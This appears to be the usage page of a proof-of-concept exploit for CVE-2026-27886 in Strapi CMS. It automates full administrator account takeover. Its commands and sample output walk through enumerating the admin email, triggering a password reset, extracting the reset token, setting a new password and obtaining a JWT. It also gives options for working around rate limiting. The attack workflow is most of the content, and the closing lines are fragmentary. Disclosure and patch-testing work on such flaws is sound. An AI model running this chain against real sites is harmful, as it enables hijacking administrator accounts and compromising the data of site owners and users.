
Account takeover full PoC for CVE-2026-27886 in Strapi CMS
Automates the full account takeover chain in 4 HTTP request groups:
Check if target is vulnerable without exploitation:
./cve-2026-27886-exploit.py https://target/api/articles --verify-only
Automate everything if you don't know the admin email:
./cve-2026-27886-exploit.py https://target/api/articles
Output:
[+] Target: https://target/api/articles
[+] Base URL: https://target
[*] Verifying vulnerability...
[+] Vulnerable: baseline=12, where_test=0
[*] Enumerating admin email...
[email protected]
[*] Triggering password reset for [email protected]...
[+] Password reset triggered (HTTP 204)
[*] Extracting 40-char reset token...
[100%] d1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a
[*] Resetting password with stolen token...
[+] Password reset successful!
[+] JWT: eyJhbGciOiJIUzI1NiIs...
[+] User: [email protected] (ID: 1)
[+] SUCCESS! Admin account compromised.
[+] JWT Token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
If you already know the admin email (saves ~500 requests):
./cve-2026-27886-exploit.py https://target/api/articles \
--email [email protected]
Set a custom password instead of default:
./cve-2026-27886-exploit.py https://target/api/articles \
--email [email protected] \
--password "MyPassword123!"
If the target has rate limiting:
./cve-2026-27886-exploit.py https://target/api/articles \
--delay 0.1
This adds 100ms between each request (~2-3 minutes for full exploitation).
If /admin/* endpoints are on a different host:
./cve-2026-27886-exploit.py https://api.target/articles \
--base-url https://admin.target
https://target/api/products, https://target/api/articles, etc.updated_by_id foreign keys)--delay 0.05 or higherThis script: